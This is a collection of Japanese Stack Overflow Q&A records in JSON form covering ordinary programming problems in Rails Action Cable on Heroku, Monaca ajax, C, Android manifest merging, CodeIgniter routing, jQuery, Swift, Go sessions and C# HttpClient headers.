05:32:38 +0000 \n> 2015-12-23T05:32:38.644988+00:00 app[web.1]: Started GET \"/cable/\"\n> [WebSocket] for 119.83.217.68 at 2015-12-23 05:32:38 +0000 \n> 2015-12-23T05:32:38.645033+00:00 app[web.1]: Request origin not allowed:\n> ttps://rails5chatxxxx.herokuapp.com \n> 2015-12-23T05:32:38.645078+00:00 app[web.1]: Finished \"/cable/\" [WebSocket]\n> for 119.83.217.68 at 2015-12-23 05:32:38 +0000 \n> 2015-12-23T05:32:41.832172+00:00 heroku[router]: at=error code=H12\n> desc=\"Request timeout\" method=GET path=\"/cable\"\n> host=rails5chatxxxx.herokuapp.com\n> request_id=7027966d-1bf0-4624-ba92-1177c570a622 fwd=\"119.83.217.68\"\n> dyno=web.1 connect=0ms service=30001ms status=503 bytes=0 \n> 2015-12-23T05:32:45.285005+00:00 app[web.1]: Started GET \"/cable\" for\n> 119.83.217.68 at 2015-12-23 05:32:45 +0000 \n> 2015-12-23T05:32:45.287925+00:00 app[web.1]: Started GET \"/cable/\"\n> [WebSocket] for 119.83.217.68 at 2015-12-23 05:32:45 +0000 \n> 2015-12-23T05:32:45.287980+00:00 app[web.1]: Request origin not allowed:\n> ttps://rails5chatxxxx.herokuapp.com \n> 2015-12-23T05:32:45.288046+00:00 app[web.1]: Finished \"/cable/\" [WebSocket]\n> for 119.83.217.68 at 2015-12-23 05:32:45 +0000 \n> 2015-12-23T05:32:45.717113+00:00 heroku[router]: at=error code=H12\n> desc=\"Request timeout\" method=GET path=\"/cable\"\n> host=rails5chatxxxx.herokuapp.com\n> request_id=8ef144f2-f5f4-4e2a-9ae2-0ca015df58f5 fwd=\"119.83.217.68\"\n> dyno=web.1 connect=0ms service=30000ms status=503 bytes=0\n\n※httpをttpに変更してあります。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T06:20:31.727", "favorite_count": 0, "id": "20308", "last_activity_date": "2015-12-25T07:39:36.560", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13774", "post_type": "question", "score": 1, "tags": [ "ruby-on-rails", "heroku", "websocket" ], "title": "herokuでrails5のチャットアプリの公開", "view_count": 807 }
[ { "body": "リモートで動かす時には、Action CableがWebSocketの接続元の制限をしているようです (`Request origin not\nallowed`)。当方では、[`config/environments/production.rb`で`config.action_cable.allowed_request_origins`を設定する](https://github.com/JunichiIto/campfire/commit/4b4e726f2b541d0f43ae019c6fc121df6f8fbc02)ことでチャットができるようになりました。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T07:39:36.560", "id": "20361", "last_activity_date": "2015-12-25T07:39:36.560", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13807", "parent_id": "20308", "post_type": "answer", "score": 2 } ]
20308
20361
20361
{ "accepted_answer_id": null, "answer_count": 1, "body": "表題の通りjsonデータをmonacaに表示させたいと思います。\n\nMANP環境ではphpでjson_encodeして上手くMySQLデータをhtmlに反映できたのですが、 \nそっくりそのままMonacaで試したところjsonデータが引っ張ってこれてない状況に陥りました。 \n(json_encodeするphpファイルはサーバーにアップ済みです。)\n\n▼ソースコード▼\n\n```\n\n <script src=\"//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js\"></script>\n <script>\n $.ajax({\n type: 'GET',\n url: 'http://○○△△.jp/json.php',\n dataType: 'json',\n success: function(json){\n var len = json.length;\n for(var i=0; i < len; i++){\n $(\"#a\").append(json[i].id + ' ' + json[i].○○ + ' ' + json[i].△△ + '<br>');\n }\n }\n });\n </script>\n <link rel=\"stylesheet\" href=\"components/loader.css\">\n <link rel=\"stylesheet\" href=\"css/style.css\">\n \n```\n\n* * *\n\n2015/12/23/18:26 \n回答からコードを書き換えました。\n\n```\n\n <!DOCTYPE HTML>\n <html>\n <head>\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\">\n <meta http-equiv=\"Content-Security-Policy\" content=\"default-src *; style-src * 'unsafe-inline'; script-src * 'unsafe-inline' 'unsafe-eval'\">\n <script src=\"components/loader.js\"></script>\n <script src=\"components/monaca-jquery/jquery.js\"></script>\n <link rel=\"stylesheet\" href=\"components/loader.css\">\n <link rel=\"stylesheet\" href=\"css/style.css\">\n <script>\n $.ready('deviceready',function(){\n //Ajax通信\n $.ajax({\n type: 'GET',\n url: 'http://○○△△.jp/json.php',\n dataType: 'json',\n success: function(json){\n var len = json.length;\n for(var i=0; i < len; i++){\n $(\"#a\").append(json[i].id + ' ' + json[i].○○ + '<br>');\n }\n }\n //下記を追加してどう言ったエラーが発生しているのか確認する\n error: function(XMLHttpRequest, textStatus, errorThrown) {\n //ステータスコード:エラーに来る際はたいてい200以外\n //今回の場合は正常なJSON以外でも此方に来る\n console.log(\"XMLHttpRequest : \" + XMLHttpRequest.status);\n //実際のレスポンス\n //出力された文字列がJSON形式にのっとっているか見る\n console.log(\"textStatus : \" + textStatus);\n //どうしてエラーが発生したのかのメッセージ\n console.log(\"errorThrown : \" + errorThrown.message);\n }\n });\n },false);\n </script>\n </head>\n <body>\n <div id=\"a\"></div>\n </body>\n \n```", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T07:20:54.547", "favorite_count": 0, "id": "20309", "last_activity_date": "2016-10-16T15:27:16.463", "last_edit_date": "2015-12-23T13:26:34.977", "last_editor_user_id": "76", "owner_user_id": "13775", "post_type": "question", "score": 2, "tags": [ "php", "monaca", "mysql", "json" ], "title": "jsonデータをmonacaに表示させたい", "view_count": 1919 }
[ { "body": "考えられる原因として1つめは \nWhiteListの関係で接続できないのかもしれないので`index.html`のmetaに下記が追加されているか確認してください。\n\n```\n\n <meta http-equiv=\"Content-Security-Policy\" content=\"default-src *; style-src * 'unsafe-inline'; script-src * 'unsafe-inline' 'unsafe-eval'\">\n \n```\n\n2つ目はコールバックに`success`しかないので`error`も追加してみて何が悪いか切り分けてみてはいかがでしょうか? \nオプションの`dataType`に`json`が指定されているので、PHPのWARNINGなどが出力されていてjson構造を認識できないとエラーが発生します。 \nこの場合上記の受け方ですと`success`に入らないので応答が全くないかと思います。 \n`dataType`外して`success`に入るか試してみてはいかがでしょうか? \n(※その場合`JSON.parse`でもエンコードできませんが)\n\n* * *\n\n**追記:15/12/24** \n`index.html`の全文って下記のような感じなるかと思うのですが、 \n`loader.js`より前に記述すると`monaca`の機能をロードする前に走っちゃうのでおかしくなるかと \nあと、jqueryはmonacaのプラグインからインポート出来たりします(好みによるかと思いますが……) \njQueryを使わない方向でイベントをセットしてみました。こちらでどうでしょうか? \nもしかしたらjQueryのロードよりも先にセットしているのやも?\n\nPHP側\n\n```\n\n <?php\n $outputs = array(\n array(\"id\"=>\"dammy1\", \"optA\"=>\"test1-A\", \"optB\"=>\"test1-B\"),\n array(\"id\"=>\"dammy2\", \"optA\"=>\"test2-A\", \"optB\"=>\"test2-B\"),\n array(\"id\"=>\"dammy3\", \"optA\"=>\"test3-A\", \"optB\"=>\"test3-B\"),\n array(\"id\"=>\"dammy4\", \"optA\"=>\"test4-A\", \"optB\"=>\"test4-B\"),\n array(\"id\"=>\"dammy5\", \"optA\"=>\"test5-A\", \"optB\"=>\"test5-B\"),\n array(\"id\"=>\"dammy6\", \"optA\"=>\"test6-A\", \"optB\"=>\"test6-B\"),\n array(\"id\"=>\"dammy7\", \"optA\"=>\"test7-A\", \"optB\"=>\"test7-B\"),\n array(\"id\"=>\"dammy8\", \"optA\"=>\"test8-A\", \"optB\"=>\"test8-B\"),\n array(\"id\"=>\"dammy9\", \"optA\"=>\"test9-A\", \"optB\"=>\"test9-B\"),\n array(\"id\"=>\"dammy10\", \"optA\"=>\"test10-A\", \"optB\"=>\"test10-B\")\n );\n echo json_encode($outputs);\n ?>\n \n```\n\nMonaca側\n\n```\n\n <!DOCTYPE HTML>\n <html>\n <head>\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\">\n <meta http-equiv=\"Content-Security-Policy\" content=\"default-src *; style-src * 'unsafe-inline'; script-src * 'unsafe-inline' 'unsafe-eval'\">\n <script src=\"components/loader.js\"></script>\n <link rel=\"stylesheet\" href=\"components/loader.css\">\n <link rel=\"stylesheet\" href=\"css/style.css\">\n <script>\n document.addEventListener('deviceready',function(){\n $(\"#a\").append('on device ready.<br>');\n //Ajax通信\n $.ajax({\n type: 'GET',\n url: 'http://host_name/json.php',\n dataType: 'json',\n success: function(json){\n var len = json.length;\n for(var i=0; i < len; i++){\n $(\"#a\").append(JSON.stringify(json[i]) + '<br>');\n }\n },\n //下記を追加してどう言ったエラーが発生しているのか確認する\n error: function(XMLHttpRequest, textStatus, errorThrown) {\n //ステータスコード:エラーに来る際はたいてい200以外\n //今回の場合は正常なJSON以外でも此方に来る\n $(\"#a\").append(\"XMLHttpRequest : \" + XMLHttpRequest.status);\n //実際のレスポンス\n //出力された文字列がJSON形式にのっとっているか見る\n $(\"#a\").append(\"textStatus : \" + textStatus);\n //どうしてエラーが発生したのかのメッセージ\n $(\"#a\").append(\"errorThrown : \" + errorThrown.message);\n }\n });\n },false);\n </script>\n </head>\n <body>\n <div id=\"a\"></div>\n </body>\n </html>\n \n```\n\n[![でも画像](https://i.stack.imgur.com/qB5ql.jpg)](https://i.stack.imgur.com/qB5ql.jpg)", "comment_count": 13, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T07:54:10.027", "id": "20310", "last_activity_date": "2015-12-24T01:00:22.587", "last_edit_date": "2015-12-24T01:00:22.587", "last_editor_user_id": null, "owner_user_id": null, "parent_id": "20309", "post_type": "answer", "score": 2 } ]
20309
null
20310
{ "accepted_answer_id": "20320", "answer_count": 1, "body": "コマンドでは`ls -U1 | wc -l`のように記述するとファイル数が帰ってくるようですが、C言語でファイル数を取得するにはどのようにしたらいいですか?", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T11:27:26.793", "favorite_count": 0, "id": "20313", "last_activity_date": "2015-12-23T16:07:42.337", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13656", "post_type": "question", "score": 3, "tags": [ "c", "ubuntu" ], "title": "C言語でファイルの数を取得することはできますか", "view_count": 8133 }
[ { "body": "ファイルかどうかをチェックした上でファイル数をカウントするのであれば以下のコードになるかと思います。\n\n```\n\n #include <stdio.h>\n #include <unistd.h>\n #include <dirent.h>\n #include <sys/stat.h>\n \n int\n main(int argc, char* argv[]) {\n int n = 0;\n struct dirent *de;\n DIR *d = opendir(\".\");\n while ((de = readdir(d))) {\n struct stat st;\n if (stat(de->d_name, &st) == 0 && st.st_mode & S_IFREG)\n n++;\n }\n closedir(d);\n printf(\"ファイルが %d 個あります\\n\", n);\n return 0;\n }\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T16:07:42.337", "id": "20320", "last_activity_date": "2015-12-23T16:07:42.337", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "440", "parent_id": "20313", "post_type": "answer", "score": 4 } ]
20313
20320
20320
{ "accepted_answer_id": "20330", "answer_count": 3, "body": "質問は\n\n * AndroidManifest.xml 以外で 権限の変更がされることはあるのか?\n * 画像ストレージへの許可が必要と表示させる原因について\n\n現状 \nGoogleプレイにて公開した時のアクセス許可に次の項目が示されます。 \nですが、自分で許可した覚えがあるのはインターネット接続関連のみです。\n\n * ID \nこの端末上のアカウントの検索\n\n * 連絡先 \nこの端末上のアカウントの検索\n\n * 画像/メディア/ファイル \nUSB ストレージのコンテンツの変更または削除 \nUSB ストレージのコンテンツの読み取り\n\n * ストレージ \nUSB ストレージのコンテンツの変更または削除 \nUSB ストレージのコンテンツの読み取り\n\n * その他 \nインターネットからデータを受信する \nネットワークへのフルアクセス \nネットワーク接続の表示 \nこの端末上のアカウントの使用\n\n上記項目がアクセス許可として求められます。 \nadmobの広告を使用しているためID等の取得はわかりますが \n画像スイトレージへのアクセスの許可が求められるのはなぜでしょう?\n\n以下マニフェストファイルです\n\n```\n\n <uses-permission android:name=\"android.permission.INTERNET\" />\n <uses-permission android:name=\"android.permission.ACCESS_NETWORK_STATE\"/>\n \n android:value=”@integer/google_play_services_version”\n <application\n android:allowBackup=\"true\"\n android:icon=\"@drawable/icon_200\"\n android:label=\"@string/app_name\"\n android:supportsRtl=\"true\"\n android:theme=\"@style/AppTheme\" >\n <activity\n android:screenOrientation=\"portrait\"\n android:name=\".MainActivity\"\n android:label=\"@string/app_name\"\n android:theme=\"@style/AppTheme.NoActionBar\" >\n <intent-filter>\n <action android:name=\"android.intent.action.MAIN\" />\n \n <category android:name=\"android.intent.category.LAUNCHER\" />\n </intent-filter>\n </activity>\n <activity android:name=\"com.google.android.gms.ads.AdActivity\"\n android:configChanges=\"keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize\"\n android:theme=\"@android:style/Theme.Translucent\" />\n </application>\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T12:02:30.810", "favorite_count": 0, "id": "20314", "last_activity_date": "2018-08-31T15:34:36.990", "last_edit_date": "2015-12-23T12:53:28.407", "last_editor_user_id": "7290", "owner_user_id": "12608", "post_type": "question", "score": 5, "tags": [ "android" ], "title": "AndroidStudio アクセス許可に、求めた覚えのない権限を求める", "view_count": 4014 }
[ { "body": "[Manifest.permission | Android Developers の\n`WRITE_EXTERNAL_STORAGE`](http://developer.android.com/intl/ja/reference/android/Manifest.permission.html#WRITE_EXTERNAL_STORAGE)\n項より:\n\n> If both your minSdkVersion and targetSdkVersion values are set to 3 or\n> lower, the system implicitly grants your app this permission.\n\n[Manifest Merging | Android Developers の Implicit\nPermissions節](http://developer.android.com/intl/ja/tools/building/manifest-\nmerge.html#implicit-permissions)より:\n\n> Importing a library that targets an Android runtime with implicitly granted\n> permissions may automatically add the permissions to the resulting merged\n> manifest. \n> For example, if an application with a targetSdkVersion of 16 imports a\n> library with a targetSdkVersion of 2, Android Studio adds the\n> WRITE_EXTERNAL_STORAGE permission to ensure permission compatibility across\n> the SDK versions.\n\nというわけで、\n\n * 自身のアプリのtargetSdkVersion/minSdkVersionが3以下である\n\n * 依存しているライブラリのtargetSdkVersion/minSdkVersionが3以下である\n\nのいずれかの場合に`WRITE_EXTERNAL_STORAGE`権限が暗黙的に与えられます(のでインストール時ユーザの許可が必要になります)。他の権限も同様の理屈です。\n\n* * *\n\n実際にはこの権限は不要だとわかっている場合は、自身のAndroidManifest.xmlに記述を追加することで該当権限を要求しないようにできる…ようです(今知りました)。\n\n前述Manifest Mergingの[Merge Conflict Markers and\nSelectors節](http://developer.android.com/intl/ja/tools/building/manifest-\nmerge.html#markers-selectors)にあるとおり、[Manifest\nMerger](http://tools.android.com/tech-docs/new-build-system/user-\nguide/manifest-merger)に、明示的にマージ結果を上書きする機能があります。 \nこのうちの、`remove`機能を用いて本来不要な権限を削除します。\n\n> **< tools:node=”remove”>** \n> Remove the annotated element from the resulting XML.(後略)\n\n具体的には、自身のAndroidManifest.xmlに次のように記載します。\n\n```\n\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:tools=\"http://schemas.android.com/tools\"\n package=... >\n \n <uses-permission android:name=\"android.permission.WRITE_EXTERNAL_STORAGE\" tools:node=\"remove\"/>\n ...\n \n```\n\n* * *\n\n…と公式ドキュメントを引いて説明してみたものの、多分下記サイトの方が分かりやすいと思います。\n\n * [対処法: 不必要なPermissionが勝手に追加されてるとき | Android開発・エラー置き場](http://android.tecc0.com/?p=161)", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T04:11:54.100", "id": "20330", "last_activity_date": "2015-12-24T04:23:41.007", "last_edit_date": "2015-12-24T04:23:41.007", "last_editor_user_id": "2808", "owner_user_id": "2808", "parent_id": "20314", "post_type": "answer", "score": 11 }, { "body": "Android Studioをつかっている場合、Gradle Android\nPluginが依存ライブラリのAARに含まれるAndroidManifest.xmlのパーミッション(や、 `<activity>`\nなど)をマージします。これはマニフェストマージと呼ばれる処理です。\n\nその結果、自分でAndroidManifestに書いていないパーミッションを追加されることがよくあります。取り除く方法は yukihane\nさんが説明しているやりかたでいけると思います。しかし、どのライブラリがどのパーミッションを要求しているのかちゃんと確認したほうがいいでしょうね。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-07T04:09:37.830", "id": "20697", "last_activity_date": "2016-01-07T04:09:37.830", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "114", "parent_id": "20314", "post_type": "answer", "score": 0 }, { "body": "Android\nStudioからAndroidManifest.xmlファイルを開くと、画面下部にMergedManifestというタブがあり、そこからどのノードがどのライブラリのマニフェストに起因しているかが確認できます。", "comment_count": 0, "content_license": "CC BY-SA 4.0", "creation_date": "2018-08-31T15:34:36.990", "id": "47990", "last_activity_date": "2018-08-31T15:34:36.990", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": null, "parent_id": "20314", "post_type": "answer", "score": 0 } ]
20314
20330
20330
{ "accepted_answer_id": null, "answer_count": 1, "body": "フロントサイトと管理サイトがありControllerディレクトリを分けておきたいのですが、 \nURLと実行するコントローラのマッピングを下記のようにしたいところ上手くいきません。 \nどのように解決できるでしょうか。\n\nフロントサイトのディレクトリは「front」、管理サイトのディレクトリは「admin」の場合\n\nttp://example.com/ → controllers/front/Welcome \nttp://example.com/regist/ → controllers/front/Regist \nttp://example.com/admin/ → controllers/admin/Welcome \nttp://example.com/admin/members/ → controllers/admin/Members\n\nroutes.phpは下記のように定義していますが、「ttp://example.com/」でアクセスされた場合にControllerクラス部分がからになってしまい解決できません。\n\n```\n\n $route['default_controller'] = 'front/welcome';\n $route['admin/(:any)'] = 'admin/$1';\n $route['admin'] = \"admin/welcome\";\n $route['(:any)'] = \"front/$1\";\n \n```\n\nCI_VERSIONは3.0.3です。\n\nアドバイス頂けると幸いです。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T14:24:48.817", "favorite_count": 0, "id": "20317", "last_activity_date": "2016-04-21T18:40:40.443", "last_edit_date": "2015-12-23T15:59:22.947", "last_editor_user_id": "8000", "owner_user_id": "13779", "post_type": "question", "score": 0, "tags": [ "php", "codeigniter" ], "title": "サブディレクトリに配置したコントローラーをdefault_controllerにしたい", "view_count": 1526 }
[ { "body": "`$route['default_controller']` に指定できるのは `controller` か `controller/method`\nだけなので、ディレクトリ名を含めることはできません。CodeIgniter 2.x ではこれができてしまっていたのですが、これは意図しなかった挙動とのことで\n3.0 から廃止されました。\n\n> サブフォルダには、サブフォルダだけを指定した URL のときに呼び出される、 デフォルトコントローラをそれぞれ置くことができます。\n> デフォルトコントローラの名前は、application/config/routes.php ファイルで指定した名前です。 \n> \\--- 2.x のドキュメント\n> <http://codeigniter.jp/user_guide_ja/general/controllers.html#subfolders>\n> より引用\n\nつまり、`$route['default_controller'] = \"welcome\";` としておくことで\n`http://example.com/front/` を `front/Welcome.php` にルーティングできる、というのが正しい挙動になります。\n\nではルート定義を書けばいいのかというと、現在のルーティング処理では、 `/` へのアクセスに関しては `default_controller`\n以外のルート定義を参照していません。そのため `/ -> front/welcome` といったルーティングを行うには、`CI_Router`\nクラスに手を加える必要が出てきます。\n\nで、この件について現在のメンテナである Andrey Andreev 氏がこんなコメントを残しています。\n\n> You're looking at controller directories the wrong way - they are not just\n> tools to organize your code, a request's path is supposed to match a real\n> file path. \n> If you consider a route to be a \"redirect\", it might make sense to\n> \"redirect\" a user's request, but it doesn't make sense to redirect in your\n> index page. \n> \\--- <https://github.com/bcit-\n> ci/CodeIgniter/issues/2849#issuecomment-37272429> より引用\n\n今回の場合、URLに合わせたディレクトリ構造にすると以下のようになるでしょうか。\n\n * controller/Welcome.php\n * controller/Regist.php\n * controller/admin/Welcome.php\n * controller/admin/Members.php\n\nこれなら `routes.php` は簡単です。\n\n```\n\n // 各ディレクトリに適用される: /->/welcome, /admin->/admin/welcome\n $route['default_controller'] = 'welcome';\n \n // $route['admin/(:any)'] = 'admin/$1'; も不要\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T15:57:13.257", "id": "20319", "last_activity_date": "2015-12-23T15:57:13.257", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "8000", "parent_id": "20317", "post_type": "answer", "score": 1 } ]
20317
null
20319
{ "accepted_answer_id": "20322", "answer_count": 1, "body": "■\n\n以上のように四角い画像がleft:100px, top:0pxにあるとして、マウスのX軸の値が600pxより大きい時、 \n(600,0)にanimateで移動し、マウスが600よりも小さいエリアにあると、元の位置に戻るというコードを書いたのですが、(600,0)に移動した後もとに戻ってきません。 \n最近jQueryを勉強し始めたのですが、お手上げです。。。教えて頂けると幸いです。よろしくお願いたします。\n\n```\n\n $(window).on('mousemove', function(evt) {\n mouseX = evt.clientX;\n mouseY = evt.clientY;\n if(mouseX > 600){\n $('#box1').animate({\n left:'100px'\n });\n } else {\n $('#box1').animate({\n left:'600px'\n });\n } \n });\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T15:20:25.347", "favorite_count": 0, "id": "20318", "last_activity_date": "2015-12-23T18:44:01.093", "last_edit_date": "2015-12-23T15:24:33.033", "last_editor_user_id": "3639", "owner_user_id": "13780", "post_type": "question", "score": 0, "tags": [ "javascript", "jquery", "jquery-ui" ], "title": "jQueryのanimate()メソッドが条件文の際にうまく動作しない。", "view_count": 859 }
[ { "body": "1. 条件文は逆でないですか?(記載内容とコード上の動きが逆の気がします。)\n 2. mousemoveイベントは絶え間なく発生しますので、このままだとanimate中にanimateさせることになってうまく動きません。\n``` if($('#box1').is(':animated')) return;\n\n \n```\n\nを入れて、animation中には判定を行わないようにしましょう。\n\n 3. すでにleft: 100pxの時にもanimate({left: \"100px\"})してしまいますのでそれも避けましょう。\n\n```\n\n $(window).on('mousemove', function(evt) {\r\n mouseX = evt.clientX;\r\n mouseY = evt.clientY;\r\n if($('#box1').is(':animated')) return;\r\n \r\n if(mouseX < 400 && $(\"#box1\").css(\"left\") != \"100px\"){\r\n $('#box1').animate({\r\n left:'100px'\r\n });\r\n } else if(mouseX >= 400 && $(\"#box1\").css(\"left\") != \"400px\") {\r\n $('#box1').animate({\r\n left:'400px'\r\n });\r\n } \r\n });\n```\n\n```\n\n #box1 {\r\n position: absolute;\r\n left: 100px;\r\n background-color: red;\r\n }\n```\n\n```\n\n <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js\"></script>\r\n <div id=\"box1\">\r\n Hello\r\n </div>\n```", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T18:33:42.387", "id": "20322", "last_activity_date": "2015-12-23T18:44:01.093", "last_edit_date": "2015-12-23T18:44:01.093", "last_editor_user_id": "6092", "owner_user_id": "6092", "parent_id": "20318", "post_type": "answer", "score": 2 } ]
20318
20322
20322
{ "accepted_answer_id": null, "answer_count": 1, "body": "<http://www.gorillatoolkit.org/pkg/sessions> \n<https://github.com/gorilla/sessions>\n\nGolangのセッション管理でgorillaを使っています。 \n持っているセッションを全て破棄してから新しくセッションにデータを保存したいです。 \nその際にセッションを破棄する方法がわからないので知っている方がいたら教えてください。\n\n```\n\n func clearSession1(session *sessions.Session) {\n session.Options = &sessions.Options{MaxAge: -1, Path: \"/\"}\n }\n /*\n 1つ目のやり方だとsessionはすぐに消されない\n リクエストの処理が終わると消されている\n */\n \n func clearSession2(session *sessions.Session) {\n session.Values = nil\n }\n /*\n 2つ目のやり方だとセッションはすぐに消せるが再度セッションに保存するときに以下のエラーが起こる\n panic: runtime error: assignment to entry in nil map\n */\n \n```", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T01:48:12.980", "favorite_count": 0, "id": "20326", "last_activity_date": "2016-04-18T06:38:25.070", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "8558", "post_type": "question", "score": 1, "tags": [ "go" ], "title": "gorillaでセッションを破棄(削除)する方法を知りたい", "view_count": 1128 }
[ { "body": "以下のように、`session.Options` を変更した後、 \n`session.Save()` する事でご希望の動作になるかと思います。\n\n```\n\n func clearSession1(w http.ResponseWriter, r *http.Requset, session *sessions.Session) {\n session.Options = &sessions.Options{MaxAge: -1, Path: \"/\"}\n session.Save(r, w)\n }\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-02-18T05:06:35.803", "id": "22224", "last_activity_date": "2016-02-18T05:06:35.803", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "2226", "parent_id": "20326", "post_type": "answer", "score": 1 } ]
20326
null
22224
{ "accepted_answer_id": null, "answer_count": 1, "body": "時間に連動して数値が増加するというコードを書きたいです。 \n以下コードのように1秒おきの数値増加はできるのですが、 \n0.25秒おきのような小数点以下の数値増加ができません。 \n方法はいろいろと試したのですがなかなかうまくいかず、詰まってしまいました。\n\n```\n\n if let t = self.startTime {\n let time: Double = NSDate.timeIntervalSinceReferenceDate() - t + self.elapsedTime\n let sec: Int = Int(time)\n let msec: Int = Int((time - Double(sec)) * 100.0)\n self.timerLabel.text = NSString(format: \"%02d:%02d:%02d\", sec/60, sec%60, msec) as String\n self.resultLabel.text = NSString(format: \"%01d\", sec * 4) as String\n }\n \n```\n\n上記コードの \n`self.resultLabel.text = NSString(format: \"%01d\", sec * 4) as String`\n\n部分が数値を増加させるLabelになります。 \n現在は1秒で数値が4ずつ増えるようになっていますが、 \nここを0.25秒で数値が1ずつ増える設定にしたいと思っています。 \n情報が不足しておりましたら、追加致しますので教えていただければと思います。\n\n宜しくお願いします。", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T03:11:19.183", "favorite_count": 0, "id": "20327", "last_activity_date": "2016-03-23T05:18:50.553", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13251", "post_type": "question", "score": 1, "tags": [ "ios", "swift", "xcode", "iphone" ], "title": "0.25秒おきに数値を1ずつ増やす方法を教えていただきたいです", "view_count": 321 }
[ { "body": "`let sec: Int = Int(time)`の時点でデータの粒度が下がっていますので、その後4倍しても1秒ごとに4増えるだけになります。\n\n```\n\n if let t = self.startTime {\n let time: Double = NSDate.timeIntervalSinceReferenceDate() - t + self.elapsedTime\n let sec: Int = Int(time)\n let sec4: Int = Int(time * 4)\n let msec: Int = Int((time - Double(sec)) * 100.0)\n self.timerLabel.text = NSString(format: \"%02d:%02d:%02d\", sec/60, sec%60, msec) as String\n self.resultLabel.text = NSString(format: \"%01d\", sec4) as String\n }\n \n```\n\nとするのが良いと思います。", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T03:22:01.463", "id": "20329", "last_activity_date": "2015-12-24T03:22:01.463", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "6092", "parent_id": "20327", "post_type": "answer", "score": 1 } ]
20327
null
20329
{ "accepted_answer_id": null, "answer_count": 1, "body": "<https://dev.projectoxford.ai/docs/services/563879b61984550e40cbbe8d/operations/563879b61984550f3039523b>\n\nを参考にC#にてFace APIを使用する処理を作成しているのですが、 \nこの「Code samples」の\n\n```\n\n // Request headers\n client.DefaultRequestHeaders.Add(\"Content-Type\", \"application/json\");\n client.DefaultRequestHeaders.Add(\"Ocp-Apim-Subscription-Key\", \"{subscription key}\");\n \n```\n\nの部分にて \n{\"Misused header name. Make sure request headers are used with\nHttpRequestMessage, response headers with HttpResponseMessage, and content\nheaders with HttpContent objects.\"} \nという例外になります。\n\nサンプルのコードがおかしいのでしょうか?それともほかに要因があるのでしょうか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T06:51:11.717", "favorite_count": 0, "id": "20332", "last_activity_date": "2015-12-24T07:15:41.630", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13791", "post_type": "question", "score": 0, "tags": [ "c#" ], "title": "HttpClientのDefaultRequestHeaders.Addにて「Misused header name」となる", "view_count": 5237 }
[ { "body": "`HttpClient`はヘッダーの意味ごとに設定すべき個所が異なります。これは`POST`しないのに`Content-\nType`ヘッダーが含まれるというような矛盾を発生させないためです。\n\n```\n\n // Request body\n byte[] byteData = Encoding.UTF8.GetBytes(\"{body}\");\n \n using (var content = new ByteArrayContent(byteData))\n {\n content.Headers.ContentType = new MediaTypeHeaderValue(\"< your content type, i.e. application/json >\");\n response = await client.PostAsync(uri, content);\n }\n \n```\n\nの部分は\n\n```\n\n using (var content = new StringContent(\"{body}\", Encoding.UTF8, \"application/json\"))\n response = await client.PostAsync(uri, content);\n \n```\n\nと書くことでrequest bodyの`Content-Type`ヘッダーを設定できます。", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T07:15:41.630", "id": "20333", "last_activity_date": "2015-12-24T07:15:41.630", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "4236", "parent_id": "20332", "post_type": "answer", "score": 1 } ]
20332
null
20333
